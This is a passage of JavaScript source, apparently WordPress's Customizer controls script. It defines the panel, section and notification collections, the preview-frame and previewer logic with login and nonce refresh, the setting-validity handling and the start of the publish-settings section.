	 * @example <caption>Loop over all registered sections.</caption>
	 * wp.customize.section.each( function( section ) { ... } )
	 *
	 * @example <caption>Getting `title_tagline` section instance.</caption>
	 * section = wp.customize.section( 'title_tagline' )
	 *
	 * @example <caption>Expand dynamically-created section when it exists.</caption>
	 * wp.customize.section( 'dynamically_created', function( section ) {
	 *     section.expand();
	 * } );
	 *
	 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
	 */
	api.section = new api.Values({ defaultConstructor: api.Section });

	/**
	 * Callback for resolved panels.
	 *
	 * @callback wp.customize.deferredPanelsCallback
	 * @param {wp.customize.Panel[]} panels Resolved panels.
	 */

	/**
	 * Collection of all registered panels.
	 *
	 * @alias wp.customize.panel
	 *
	 * @since 4.0.0
	 *
	 * @type {Function}
	 * @param {...string} ids - One or more ids for panels to obtain.
	 * @param {deferredPanelsCallback} [callback] - Function called when all supplied panels exist.
	 * @return {wp.customize.Panel|undefined|jQuery.promise} Panel instance or undefined (if function called with one id param),
	 *                                                       or promise resolving to requested panels.
	 *
	 * @example <caption>Loop over all registered panels.</caption>
	 * wp.customize.panel.each( function( panel ) { ... } )
	 *
	 * @example <caption>Getting nav_menus panel instance.</caption>
	 * panel = wp.customize.panel( 'nav_menus' );
	 *
	 * @example <caption>Expand dynamically-created panel when it exists.</caption>
	 * wp.customize.panel( 'dynamically_created', function( panel ) {
	 *     panel.expand();
	 * } );
	 *
	 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
	 */
	api.panel = new api.Values({ defaultConstructor: api.Panel });

	/**
	 * Callback for resolved notifications.
	 *
	 * @callback wp.customize.deferredNotificationsCallback
	 * @param {wp.customize.Notification[]} notifications Resolved notifications.
	 */

	/**
	 * Collection of all global notifications.
	 *
	 * @alias wp.customize.notifications
	 *
	 * @since 4.9.0
	 *
	 * @type {Function}
	 * @param {...string} codes - One or more codes for notifications to obtain.
	 * @param {deferredNotificationsCallback} [callback] - Function called when all supplied notifications exist.
	 * @return {wp.customize.Notification|undefined|jQuery.promise} Notification instance or undefined (if function called with one code param),
	 *                                                              or promise resolving to requested notifications.
	 *
	 * @example <caption>Check if existing notification</caption>
	 * exists = wp.customize.notifications.has( 'a_new_day_arrived' );
	 *
	 * @example <caption>Obtain existing notification</caption>
	 * notification = wp.customize.notifications( 'a_new_day_arrived' );
	 *
	 * @example <caption>Obtain notification that may not exist yet.</caption>
	 * wp.customize.notifications( 'a_new_day_arrived', function( notification ) { ... } );
	 *
	 * @example <caption>Add a warning notification.</caption>
	 * wp.customize.notifications.add( new wp.customize.Notification( 'midnight_almost_here', {
	 *     type: 'warning',
	 *     message: 'Midnight has almost arrived!',
	 *     dismissible: true
	 * } ) );
	 *
	 * @example <caption>Remove a notification.</caption>
	 * wp.customize.notifications.remove( 'a_new_day_arrived' );
	 *
	 * @see {@link wp.customize.control} for further examples of how to interact with {@link wp.customize.Values} instances.
	 */
	api.notifications = new api.Notifications();

	api.PreviewFrame = api.Messenger.extend(/** @lends wp.customize.PreviewFrame.prototype */{
		sensitivity: null, // Will get set to api.settings.timeouts.previewFrameSensitivity.

		/**
		 * An object that fetches a preview in the background of the document, which
		 * allows for seamless replacement of an existing preview.
		 *
		 * @constructs wp.customize.PreviewFrame
		 * @augments   wp.customize.Messenger
		 *
		 * @param {Object} params.container
		 * @param {Object} params.previewUrl
		 * @param {Object} params.query
		 * @param {Object} options
		 */
		initialize: function( params, options ) {
			var deferred = $.Deferred();

			/*
			 * Make the instance of the PreviewFrame the promise object
			 * so other objects can easily interact with it.
			 */
			deferred.promise( this );

			this.container = params.container;

			$.extend( params, { channel: api.PreviewFrame.uuid() });

			api.Messenger.prototype.initialize.call( this, params, options );

			this.add( 'previewUrl', params.previewUrl );

			this.query = $.extend( params.query || {}, { customize_messenger_channel: this.channel() });

			this.run( deferred );
		},

		/**
		 * Run the preview request.
		 *
		 * @param {Object} deferred jQuery Deferred object to be resolved with
		 *                          the request.
		 */
		run: function( deferred ) {
			var previewFrame = this,
				loaded = false,
				ready = false,
				readyData = null,
				hasPendingChangesetUpdate = '{}' !== previewFrame.query.customized,
				urlParser,
				params,
				form;

			if ( previewFrame._ready ) {
				previewFrame.unbind( 'ready', previewFrame._ready );
			}

			previewFrame._ready = function( data ) {
				ready = true;
				readyData = data;
				previewFrame.container.addClass( 'iframe-ready' );
				if ( ! data ) {
					return;
				}

				if ( loaded ) {
					deferred.resolveWith( previewFrame, [ data ] );
				}
			};

			previewFrame.bind( 'ready', previewFrame._ready );

			urlParser = document.createElement( 'a' );
			urlParser.href = previewFrame.previewUrl();

			params = _.extend(
				api.utils.parseQueryString( urlParser.search.substr( 1 ) ),
				{
					customize_changeset_uuid: previewFrame.query.customize_changeset_uuid,
					customize_theme: previewFrame.query.customize_theme,
					customize_messenger_channel: previewFrame.query.customize_messenger_channel
				}
			);
			if ( api.settings.changeset.autosaved || ! api.state( 'saved' ).get() ) {
				params.customize_autosaved = 'on';
			}

			urlParser.search = $.param( params );
			previewFrame.iframe = $( '<iframe />', {
				title: api.l10n.previewIframeTitle,
				name: 'customize-' + previewFrame.channel()
			} );
			previewFrame.iframe.attr( 'onmousewheel', '' ); // Workaround for Safari bug. See WP Trac #38149.
			previewFrame.iframe.attr( 'sandbox', 'allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-scripts' );

			if ( ! hasPendingChangesetUpdate ) {
				previewFrame.iframe.attr( 'src', urlParser.href );
			} else {
				previewFrame.iframe.attr( 'data-src', urlParser.href ); // For debugging purposes.
			}

			previewFrame.iframe.appendTo( previewFrame.container );
			previewFrame.targetWindow( previewFrame.iframe[0].contentWindow );

			/*
			 * Submit customized data in POST request to preview frame window since
			 * there are setting value changes not yet written to changeset.
			 */
			if ( hasPendingChangesetUpdate ) {
				form = $( '<form>', {
					action: urlParser.href,
					target: previewFrame.iframe.attr( 'name' ),
					method: 'post',
					hidden: 'hidden'
				} );
				form.append( $( '<input>', {
					type: 'hidden',
					name: '_method',
					value: 'GET'
				} ) );
				_.each( previewFrame.query, function( value, key ) {
					form.append( $( '<input>', {
						type: 'hidden',
						name: key,
						value: value
					} ) );
				} );
				previewFrame.container.append( form );
				form.trigger( 'submit' );
				form.remove(); // No need to keep the form around after submitted.
			}

			previewFrame.bind( 'iframe-loading-error', function( error ) {
				previewFrame.iframe.remove();

				// Check if the user is not logged in.
				if ( 0 === error ) {
					previewFrame.login( deferred );
					return;
				}

				// Check for cheaters.
				if ( -1 === error ) {
					deferred.rejectWith( previewFrame, [ 'cheatin' ] );
					return;
				}

				deferred.rejectWith( previewFrame, [ 'request failure' ] );
			} );

			previewFrame.iframe.one( 'load', function() {
				loaded = true;

				if ( ready ) {
					deferred.resolveWith( previewFrame, [ readyData ] );
				} else {
					setTimeout( function() {
						deferred.rejectWith( previewFrame, [ 'ready timeout' ] );
					}, previewFrame.sensitivity );
				}
			});
		},

		login: function( deferred ) {
			var self = this,
				reject;

			reject = function() {
				deferred.rejectWith( self, [ 'logged out' ] );
			};

			if ( this.triedLogin ) {
				return reject();
			}

			// Check if we have an admin cookie.
			$.get( api.settings.url.ajax, {
				action: 'logged-in'
			}).fail( reject ).done( function( response ) {
				var iframe;

				if ( '1' !== response ) {
					reject();
				}

				iframe = $( '<iframe />', { 'src': self.previewUrl(), 'title': api.l10n.previewIframeTitle } ).hide();
				iframe.appendTo( self.container );
				iframe.on( 'load', function() {
					self.triedLogin = true;

					iframe.remove();
					self.run( deferred );
				});
			});
		},

		destroy: function() {
			api.Messenger.prototype.destroy.call( this );

			if ( this.iframe ) {
				this.iframe.remove();
			}

			delete this.iframe;
			delete this.targetWindow;
		}
	});

	(function(){
		var id = 0;
		/**
		 * Return an incremented ID for a preview messenger channel.
		 *
		 * This function is named "uuid" for historical reasons, but it is a
		 * misnomer as it is not an actual UUID, and it is not universally unique.
		 * This is not to be confused with `api.settings.changeset.uuid`.
		 *
		 * @return {string}
		 */
		api.PreviewFrame.uuid = function() {
			return 'preview-' + String( id++ );
		};
	}());

	/**
	 * Set the document title of the customizer.
	 *
	 * @alias wp.customize.setDocumentTitle
	 *
	 * @since 4.1.0
	 *
	 * @param {string} documentTitle
	 */
	api.setDocumentTitle = function ( documentTitle ) {
		var tmpl, title;
		tmpl = api.settings.documentTitleTmpl;
		title = tmpl.replace( '%s', documentTitle );
		document.title = title;
		api.trigger( 'title', title );
	};

	api.Previewer = api.Messenger.extend(/** @lends wp.customize.Previewer.prototype */{
		refreshBuffer: null, // Will get set to api.settings.timeouts.windowRefresh.

		/**
		 * @constructs wp.customize.Previewer
		 * @augments   wp.customize.Messenger
		 *
		 * @param {Array}  params.allowedUrls
		 * @param {string} params.container   A selector or jQuery element for the preview
		 *                                    frame to be placed.
		 * @param {string} params.form
		 * @param {string} params.previewUrl  The URL to preview.
		 * @param {Object} options
		 */
		initialize: function( params, options ) {
			var previewer = this,
				urlParser = document.createElement( 'a' );

			$.extend( previewer, options || {} );
			previewer.deferred = {
				active: $.Deferred()
			};

			// Debounce to prevent hammering server and then wait for any pending update requests.
			previewer.refresh = _.debounce(
				( function( originalRefresh ) {
					return function() {
						var isProcessingComplete, refreshOnceProcessingComplete;
						isProcessingComplete = function() {
							return 0 === api.state( 'processing' ).get();
						};
						if ( isProcessingComplete() ) {
							originalRefresh.call( previewer );
						} else {
							refreshOnceProcessingComplete = function() {
								if ( isProcessingComplete() ) {
									originalRefresh.call( previewer );
									api.state( 'processing' ).unbind( refreshOnceProcessingComplete );
								}
							};
							api.state( 'processing' ).bind( refreshOnceProcessingComplete );
						}
					};
				}( previewer.refresh ) ),
				previewer.refreshBuffer
			);

			previewer.container   = api.ensure( params.container );
			previewer.allowedUrls = params.allowedUrls;

			params.url = window.location.href;

			api.Messenger.prototype.initialize.call( previewer, params );

			urlParser.href = previewer.origin();
			previewer.add( 'scheme', urlParser.protocol.replace( /:$/, '' ) );

			/*
			 * Limit the URL to internal, front-end links.
			 *
			 * If the front end and the admin are served from the same domain, load the
			 * preview over ssl if the Customizer is being loaded over ssl. This avoids
			 * insecure content warnings. This is not attempted if the admin and front end
			 * are on different domains to avoid the case where the front end doesn't have
			 * ssl certs.
			 */

			previewer.add( 'previewUrl', params.previewUrl ).setter( function( to ) {
				var result = null, urlParser, queryParams, parsedAllowedUrl, parsedCandidateUrls = [];
				urlParser = document.createElement( 'a' );
				urlParser.href = to;

				// Abort if URL is for admin or (static) files in wp-includes or wp-content.
				if ( /\/wp-(admin|includes|content)(\/|$)/.test( urlParser.pathname ) ) {
					return null;
				}

				// Remove state query params.
				if ( urlParser.search.length > 1 ) {
					queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
					delete queryParams.customize_changeset_uuid;
					delete queryParams.customize_theme;
					delete queryParams.customize_messenger_channel;
					delete queryParams.customize_autosaved;
					if ( _.isEmpty( queryParams ) ) {
						urlParser.search = '';
					} else {
						urlParser.search = $.param( queryParams );
					}
				}

				parsedCandidateUrls.push( urlParser );

				// Prepend list with URL that matches the scheme/protocol of the iframe.
				if ( previewer.scheme.get() + ':' !== urlParser.protocol ) {
					urlParser = document.createElement( 'a' );
					urlParser.href = parsedCandidateUrls[0].href;
					urlParser.protocol = previewer.scheme.get() + ':';
					parsedCandidateUrls.unshift( urlParser );
				}

				// Attempt to match the URL to the control frame's scheme and check if it's allowed. If not, try the original URL.
				parsedAllowedUrl = document.createElement( 'a' );
				_.find( parsedCandidateUrls, function( parsedCandidateUrl ) {
					return ! _.isUndefined( _.find( previewer.allowedUrls, function( allowedUrl ) {
						parsedAllowedUrl.href = allowedUrl;
						if ( urlParser.protocol === parsedAllowedUrl.protocol && urlParser.host === parsedAllowedUrl.host && 0 === urlParser.pathname.indexOf( parsedAllowedUrl.pathname.replace( /\/$/, '' ) ) ) {
							result = parsedCandidateUrl.href;
							return true;
						}
					} ) );
				} );

				return result;
			});

			previewer.bind( 'ready', previewer.ready );

			// Start listening for keep-alive messages when iframe first loads.
			previewer.deferred.active.done( _.bind( previewer.keepPreviewAlive, previewer ) );

			previewer.bind( 'synced', function() {
				previewer.send( 'active' );
			} );

			// Refresh the preview when the URL is changed (but not yet).
			previewer.previewUrl.bind( previewer.refresh );

			previewer.scroll = 0;
			previewer.bind( 'scroll', function( distance ) {
				previewer.scroll = distance;
			});

			// Update the URL when the iframe sends a URL message, resetting scroll position. If URL is unchanged, then refresh.
			previewer.bind( 'url', function( url ) {
				var onUrlChange, urlChanged = false;
				previewer.scroll = 0;
				onUrlChange = function() {
					urlChanged = true;
				};
				previewer.previewUrl.bind( onUrlChange );
				previewer.previewUrl.set( url );
				previewer.previewUrl.unbind( onUrlChange );
				if ( ! urlChanged ) {
					previewer.refresh();
				}
			} );

			// Update the document title when the preview changes.
			previewer.bind( 'documentTitle', function ( title ) {
				api.setDocumentTitle( title );
			} );
		},

		/**
		 * Handle the preview receiving the ready message.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @param {Object} data - Data from preview.
		 * @param {string} data.currentUrl - Current URL.
		 * @param {Object} data.activePanels - Active panels.
		 * @param {Object} data.activeSections Active sections.
		 * @param {Object} data.activeControls Active controls.
		 * @return {void}
		 */
		ready: function( data ) {
			var previewer = this, synced = {}, constructs;

			synced.settings = api.get();
			synced['settings-modified-while-loading'] = previewer.settingsModifiedWhileLoading;
			if ( 'resolved' !== previewer.deferred.active.state() || previewer.loading ) {
				synced.scroll = previewer.scroll;
			}
			synced['edit-shortcut-visibility'] = api.state( 'editShortcutVisibility' ).get();
			previewer.send( 'sync', synced );

			// Set the previewUrl without causing the url to set the iframe.
			if ( data.currentUrl ) {
				previewer.previewUrl.unbind( previewer.refresh );
				previewer.previewUrl.set( data.currentUrl );
				previewer.previewUrl.bind( previewer.refresh );
			}

			/*
			 * Walk over all panels, sections, and controls and set their
			 * respective active states to true if the preview explicitly
			 * indicates as such.
			 */
			constructs = {
				panel: data.activePanels,
				section: data.activeSections,
				control: data.activeControls
			};
			_( constructs ).each( function ( activeConstructs, type ) {
				api[ type ].each( function ( construct, id ) {
					var isDynamicallyCreated = _.isUndefined( api.settings[ type + 's' ][ id ] );

					/*
					 * If the construct was created statically in PHP (not dynamically in JS)
					 * then consider a missing (undefined) value in the activeConstructs to
					 * mean it should be deactivated (since it is gone). But if it is
					 * dynamically created then only toggle activation if the value is defined,
					 * as this means that the construct was also then correspondingly
					 * created statically in PHP and the active callback is available.
					 * Otherwise, dynamically-created constructs should normally have
					 * their active states toggled in JS rather than from PHP.
					 */
					if ( ! isDynamicallyCreated || ! _.isUndefined( activeConstructs[ id ] ) ) {
						if ( activeConstructs[ id ] ) {
							construct.activate();
						} else {
							construct.deactivate();
						}
					}
				} );
			} );

			if ( data.settingValidities ) {
				api._handleSettingValidities( {
					settingValidities: data.settingValidities,
					focusInvalidControl: false
				} );
			}
		},

		/**
		 * Keep the preview alive by listening for ready and keep-alive messages.
		 *
		 * If a message is not received in the allotted time then the iframe will be set back to the last known valid URL.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @return {void}
		 */
		keepPreviewAlive: function keepPreviewAlive() {
			var previewer = this, keepAliveTick, timeoutId, handleMissingKeepAlive, scheduleKeepAliveCheck;

			/**
			 * Schedule a preview keep-alive check.
			 *
			 * Note that if a page load takes longer than keepAliveCheck milliseconds,
			 * the keep-alive messages will still be getting sent from the previous
			 * URL.
			 */
			scheduleKeepAliveCheck = function() {
				timeoutId = setTimeout( handleMissingKeepAlive, api.settings.timeouts.keepAliveCheck );
			};

			/**
			 * Set the previewerAlive state to true when receiving a message from the preview.
			 */
			keepAliveTick = function() {
				api.state( 'previewerAlive' ).set( true );
				clearTimeout( timeoutId );
				scheduleKeepAliveCheck();
			};

			/**
			 * Set the previewerAlive state to false if keepAliveCheck milliseconds have transpired without a message.
			 *
			 * This is most likely to happen in the case of a connectivity error, or if the theme causes the browser
			 * to navigate to a non-allowed URL. Setting this state to false will force settings with a postMessage
			 * transport to use refresh instead, causing the preview frame also to be replaced with the current
			 * allowed preview URL.
			 */
			handleMissingKeepAlive = function() {
				api.state( 'previewerAlive' ).set( false );
			};
			scheduleKeepAliveCheck();

			previewer.bind( 'ready', keepAliveTick );
			previewer.bind( 'keep-alive', keepAliveTick );
		},

		/**
		 * Query string data sent with each preview request.
		 *
		 * @abstract
		 */
		query: function() {},

		abort: function() {
			if ( this.loading ) {
				this.loading.destroy();
				delete this.loading;
			}
		},

		/**
		 * Refresh the preview seamlessly.
		 *
		 * @since 3.4.0
		 * @access public
		 *
		 * @return {void}
		 */
		refresh: function() {
			var previewer = this, onSettingChange;

			// Display loading indicator.
			previewer.send( 'loading-initiated' );

			previewer.abort();

			previewer.loading = new api.PreviewFrame({
				url:        previewer.url(),
				previewUrl: previewer.previewUrl(),
				query:      previewer.query( { excludeCustomizedSaved: true } ) || {},
				container:  previewer.container
			});

			previewer.settingsModifiedWhileLoading = {};
			onSettingChange = function( setting ) {
				previewer.settingsModifiedWhileLoading[ setting.id ] = true;
			};
			api.bind( 'change', onSettingChange );
			previewer.loading.always( function() {
				api.unbind( 'change', onSettingChange );
			} );

			previewer.loading.done( function( readyData ) {
				var loadingFrame = this, onceSynced;

				previewer.preview = loadingFrame;
				previewer.targetWindow( loadingFrame.targetWindow() );
				previewer.channel( loadingFrame.channel() );

				onceSynced = function() {
					loadingFrame.unbind( 'synced', onceSynced );
					if ( previewer._previousPreview ) {
						previewer._previousPreview.destroy();
					}
					previewer._previousPreview = previewer.preview;
					previewer.deferred.active.resolve();
					delete previewer.loading;
				};
				loadingFrame.bind( 'synced', onceSynced );

				// This event will be received directly by the previewer in normal navigation; this is only needed for seamless refresh.
				previewer.trigger( 'ready', readyData );
			});

			previewer.loading.fail( function( reason ) {
				previewer.send( 'loading-failed' );

				if ( 'logged out' === reason ) {
					if ( previewer.preview ) {
						previewer.preview.destroy();
						delete previewer.preview;
					}

					previewer.login().done( previewer.refresh );
				}

				if ( 'cheatin' === reason ) {
					previewer.cheatin();
				}
			});
		},

		login: function() {
			var previewer = this,
				deferred, messenger, iframe;

			if ( this._login ) {
				return this._login;
			}

			deferred = $.Deferred();
			this._login = deferred.promise();

			messenger = new api.Messenger({
				channel: 'login',
				url:     api.settings.url.login
			});

			iframe = $( '<iframe />', { 'src': api.settings.url.login, 'title': api.l10n.loginIframeTitle } ).appendTo( this.container );

			messenger.targetWindow( iframe[0].contentWindow );

			messenger.bind( 'login', function () {
				var refreshNonces = previewer.refreshNonces();

				refreshNonces.always( function() {
					iframe.remove();
					messenger.destroy();
					delete previewer._login;
				});

				refreshNonces.done( function() {
					deferred.resolve();
				});

				refreshNonces.fail( function() {
					previewer.cheatin();
					deferred.reject();
				});
			});

			return this._login;
		},

		cheatin: function() {
			$( document.body ).empty().addClass( 'cheatin' ).append(
				'<h1>' + api.l10n.notAllowedHeading + '</h1>' +
				'<p>' + api.l10n.notAllowed + '</p>'
			);
		},

		refreshNonces: function() {
			var request, deferred = $.Deferred();

			deferred.promise();

			request = wp.ajax.post( 'customize_refresh_nonces', {
				wp_customize: 'on',
				customize_theme: api.settings.theme.stylesheet
			});

			request.done( function( response ) {
				api.trigger( 'nonce-refresh', response );
				deferred.resolve();
			});

			request.fail( function() {
				deferred.reject();
			});

			return deferred;
		}
	});

	api.settingConstructor = {};
	api.controlConstructor = {
		color:               api.ColorControl,
		media:               api.MediaControl,
		upload:              api.UploadControl,
		image:               api.ImageControl,
		cropped_image:       api.CroppedImageControl,
		site_icon:           api.SiteIconControl,
		header:              api.HeaderControl,
		background:          api.BackgroundControl,
		background_position: api.BackgroundPositionControl,
		theme:               api.ThemeControl,
		date_time:           api.DateTimeControl,
		code_editor:         api.CodeEditorControl
	};
	api.panelConstructor = {
		themes: api.ThemesPanel
	};
	api.sectionConstructor = {
		themes: api.ThemesSection,
		outer: api.OuterSection
	};

	/**
	 * Handle setting_validities in an error response for the customize-save request.
	 *
	 * Add notifications to the settings and focus on the first control that has an invalid setting.
	 *
	 * @alias wp.customize._handleSettingValidities
	 *
	 * @since 4.6.0
	 * @private
	 *
	 * @param {Object}  args
	 * @param {Object}  args.settingValidities
	 * @param {boolean} [args.focusInvalidControl=false]
	 * @return {void}
	 */
	api._handleSettingValidities = function handleSettingValidities( args ) {
		var invalidSettingControls, invalidSettings = [], wasFocused = false;

		// Find the controls that correspond to each invalid setting.
		_.each( args.settingValidities, function( validity, settingId ) {
			var setting = api( settingId );
			if ( setting ) {

				// Add notifications for invalidities.
				if ( _.isObject( validity ) ) {
					_.each( validity, function( params, code ) {
						var notification, existingNotification, needsReplacement = false;
						notification = new api.Notification( code, _.extend( { fromServer: true }, params ) );

						// Remove existing notification if already exists for code but differs in parameters.
						existingNotification = setting.notifications( notification.code );
						if ( existingNotification ) {
							needsReplacement = notification.type !== existingNotification.type || notification.message !== existingNotification.message || ! _.isEqual( notification.data, existingNotification.data );
						}
						if ( needsReplacement ) {
							setting.notifications.remove( code );
						}

						if ( ! setting.notifications.has( notification.code ) ) {
							setting.notifications.add( notification );
						}
						invalidSettings.push( setting.id );
					} );
				}

				// Remove notification errors that are no longer valid.
				setting.notifications.each( function( notification ) {
					if ( notification.fromServer && 'error' === notification.type && ( true === validity || ! validity[ notification.code ] ) ) {
						setting.notifications.remove( notification.code );
					}
				} );
			}
		} );

		if ( args.focusInvalidControl ) {
			invalidSettingControls = api.findControlsForSettings( invalidSettings );

			// Focus on the first control that is inside of an expanded section (one that is visible).
			_( _.values( invalidSettingControls ) ).find( function( controls ) {
				return _( controls ).find( function( control ) {
					var isExpanded = control.section() && api.section.has( control.section() ) && api.section( control.section() ).expanded();
					if ( isExpanded && control.expanded ) {
						isExpanded = control.expanded();
					}
					if ( isExpanded ) {
						control.focus();
						wasFocused = true;
					}
					return wasFocused;
				} );
			} );

			// Focus on the first invalid control.
			if ( ! wasFocused && ! _.isEmpty( invalidSettingControls ) ) {
				_.values( invalidSettingControls )[0][0].focus();
			}
		}
	};

	/**
	 * Find all controls associated with the given settings.
	 *
	 * @alias wp.customize.findControlsForSettings
	 *
	 * @since 4.6.0
	 * @param {string[]} settingIds Setting IDs.
	 * @return {Object<string, wp.customize.Control>} Mapping setting ids to arrays of controls.
	 */
	api.findControlsForSettings = function findControlsForSettings( settingIds ) {
		var controls = {}, settingControls;
		_.each( _.unique( settingIds ), function( settingId ) {
			var setting = api( settingId );
			if ( setting ) {
				settingControls = setting.findControls();
				if ( settingControls && settingControls.length > 0 ) {
					controls[ settingId ] = settingControls;
				}
			}
		} );
		return controls;
	};

	/**
	 * Sort panels, sections, controls by priorities. Hide empty sections and panels.
	 *
	 * @alias wp.customize.reflowPaneContents
	 *
	 * @since 4.1.0
	 */
	api.reflowPaneContents = _.bind( function () {

		var appendContainer, activeElement, rootHeadContainers, rootNodes = [], wasReflowed = false;

		if ( document.activeElement ) {
			activeElement = $( document.activeElement );
		}

		// Sort the sections within each panel.
		api.panel.each( function ( panel ) {
			if ( 'themes' === panel.id ) {
				return; // Don't reflow theme sections, as doing so moves them after the themes container.
			}

			var sections = panel.sections(),
				sectionHeadContainers = _.pluck( sections, 'headContainer' );
			rootNodes.push( panel );
			appendContainer = ( panel.contentContainer.is( 'ul' ) ) ? panel.contentContainer : panel.contentContainer.find( 'ul:first' );
			if ( ! api.utils.areElementListsEqual( sectionHeadContainers, appendContainer.children( '[id]' ) ) ) {
				_( sections ).each( function ( section ) {
					appendContainer.append( section.headContainer );
				} );
				wasReflowed = true;
			}
		} );

		// Sort the controls within each section.
		api.section.each( function ( section ) {
			var controls = section.controls(),
				controlContainers = _.pluck( controls, 'container' );
			if ( ! section.panel() ) {
				rootNodes.push( section );
			}
			appendContainer = ( section.contentContainer.is( 'ul' ) ) ? section.contentContainer : section.contentContainer.find( 'ul:first' );
			if ( ! api.utils.areElementListsEqual( controlContainers, appendContainer.children( '[id]' ) ) ) {
				_( controls ).each( function ( control ) {
					appendContainer.append( control.container );
				} );
				wasReflowed = true;
			}
		} );

		// Sort the root panels and sections.
		rootNodes.sort( api.utils.prioritySort );
		rootHeadContainers = _.pluck( rootNodes, 'headContainer' );
		appendContainer = $( '#customize-theme-controls .customize-pane-parent' ); // @todo This should be defined elsewhere, and to be configurable.
		if ( ! api.utils.areElementListsEqual( rootHeadContainers, appendContainer.children() ) ) {
			_( rootNodes ).each( function ( rootNode ) {
				appendContainer.append( rootNode.headContainer );
			} );
			wasReflowed = true;
		}

		// Now re-trigger the active Value callbacks so that the panels and sections can decide whether they can be rendered.
		api.panel.each( function ( panel ) {
			var value = panel.active();
			panel.active.callbacks.fireWith( panel.active, [ value, value ] );
		} );
		api.section.each( function ( section ) {
			var value = section.active();
			section.active.callbacks.fireWith( section.active, [ value, value ] );
		} );

		// Restore focus if there was a reflow and there was an active (focused) element.
		if ( wasReflowed && activeElement ) {
			activeElement.trigger( 'focus' );
		}
		api.trigger( 'pane-contents-reflowed' );
	}, api );

	// Define state values.
	api.state = new api.Values();
	_.each( [
		'saved',
		'saving',
		'trashing',
		'activated',
		'processing',
		'paneVisible',
		'expandedPanel',
		'expandedSection',
		'changesetDate',
		'selectedChangesetDate',
		'changesetStatus',
		'selectedChangesetStatus',
		'remainingTimeToPublish',
		'previewerAlive',
		'editShortcutVisibility',
		'changesetLocked',
		'previewedDevice'
	], function( name ) {
		api.state.create( name );
	});

	$( function() {
		api.settings = window._wpCustomizeSettings;
		api.l10n = window._wpCustomizeControlsL10n;

		// Check if we can run the Customizer.
		if ( ! api.settings ) {
			return;
		}

		// Bail if any incompatibilities are found.
		if ( ! $.support.postMessage || ( ! $.support.cors && api.settings.isCrossDomain ) ) {
			return;
		}

		if ( null === api.PreviewFrame.prototype.sensitivity ) {
			api.PreviewFrame.prototype.sensitivity = api.settings.timeouts.previewFrameSensitivity;
		}
		if ( null === api.Previewer.prototype.refreshBuffer ) {
			api.Previewer.prototype.refreshBuffer = api.settings.timeouts.windowRefresh;
		}

		var parent,
			body = $( document.body ),
			overlay = body.children( '.wp-full-overlay' ),
			title = $( '#customize-info .panel-title.site-title' ),
			closeBtn = $( '.customize-controls-close' ),
			saveBtn = $( '#save' ),
			btnWrapper = $( '#customize-save-button-wrapper' ),
			publishSettingsBtn = $( '#publish-settings' ),
			footerActions = $( '#customize-footer-actions' );

		// Add publish settings section in JS instead of PHP since the Customizer depends on it to function.
		api.bind( 'ready', function() {
			api.section.add( new api.OuterSection( 'publish_settings', {
				title: api.l10n.publishSettings,
				priority: 0,
				active: api.settings.theme.active
			} ) );
		} );

		// Set up publish settings section and its controls.
		api.section( 'publish_settings', function( section ) {
			var updateButtonsState, trashControl, updateSectionActive, isSectionActive, statusControl, dateControl, toggleDateControl, publishWhenTime, pollInterval, updateTimeArrivedPoller, cancelScheduleButtonReminder, timeArrivedPollingInterval = 1000;

			trashControl = new api.Control( 'trash_changeset', {
				type: 'button',
				section: section.id,
				priority: 30,
				input_attrs: {
					'class': 'button-link button-link-delete',
					value: api.l10n.discardChanges
				}
			} );
			api.control.add( trashControl );
			trashControl.deferred.embedded.done( function() {
				trashControl.container.find( '.button-link' ).on( 'click', function() {
					if ( confirm( api.l10n.trashConfirm ) ) {
						wp.customize.previewer.trash();
					}
				} );
			} );

			api.control.add( new api.PreviewLinkControl( 'changeset_preview_link', {
				section: section.id,
				priority: 100
			} ) );

			/**
			 * Return whether the pubish settings section should be active.
			 *
			 * @return {boolean} Is section active.
			 */
			isSectionActive = function() {
				if ( ! api.state( 'activated' ).get() ) {
					return false;
				}
				if ( api.state( 'trashing' ).get() || 'trash' === api.state( 'changesetStatus' ).get() ) {
					return false;
				}
				if ( '' === api.state( 'changesetStatus' ).get() && api.state( 'saved' ).get() ) {
					return false;
				}
				return true;
			};

			// Make sure publish settings are not available while the theme is not active and the customizer is in a published state.
			section.active.validate = isSectionActive;
			updateSectionActive = function() {
				section.active.set( isSectionActive() );
			};
			api.state( 'activated' ).bind( updateSectionActive );
			api.state( 'trashing' ).bind( updateSectionActive );
			api.state( 'saved' ).bind( updateSectionActive );
			api.state( 'changesetStatus' ).bind( updateSectionActive );
			updateSectionActive();

			// Bind visibility of the publish settings button to whether the section is active.
			updateButtonsState = function() {
				publishSettingsBtn.toggle( section.active.get() );
				saveBtn.toggleClass( 'has-next-sibling', section.active.get() );
			};
			updateButtonsState();
			section.active.bind( updateButtonsState );

			function highlightScheduleButton() {
				if ( ! cancelScheduleButtonReminder ) {
					cancelScheduleButtonReminder = api.utils.highlightButton( btnWrapper, {
						delay: 1000,

						/*
						 * Only abort the reminder when the save button is focused.
						 * If the user clicks the settings button to toggle the
						 * settings closed, we'll still remind them.
						 */
						focusTarget: saveBtn
					} );
				}
			}
			function cancelHighlightScheduleButton() {
				if ( cancelScheduleButtonReminder ) {
					cancelScheduleButtonReminder();
					cancelScheduleButtonReminder = null;
				}
			}
			api.state( 'selectedChangesetStatus' ).bind( cancelHighlightScheduleButton );

			section.contentContainer.find( '.customize-action' ).text( api.l10n.updating );
			section.contentContainer.find( '.customize-section-back' ).removeAttr( 'tabindex' );
			publishSettingsBtn.prop( 'disabled', false );

			publishSettingsBtn.on( 'click', function( event ) {
				event.preventDefault();
				section.expanded.set( ! section.expanded.get() );
			} );

			section.expanded.bind( function( isExpanded ) {
				var defaultChangesetStatus;
				publishSettingsBtn.attr( 'aria-expanded', String( isExpanded ) );
				publishSettingsBtn.toggleClass( 'active', isExpanded );

				if ( isExpanded ) {
					cancelHighlightScheduleButton();
					return;
				}

				defaultChangesetStatus = api.state( 'changesetStatus' ).get();
				if ( '' === defaultChangesetStatus || 'auto-draft' === defaultChangesetStatus ) {
					defaultChangesetStatus = 'publish';
				}

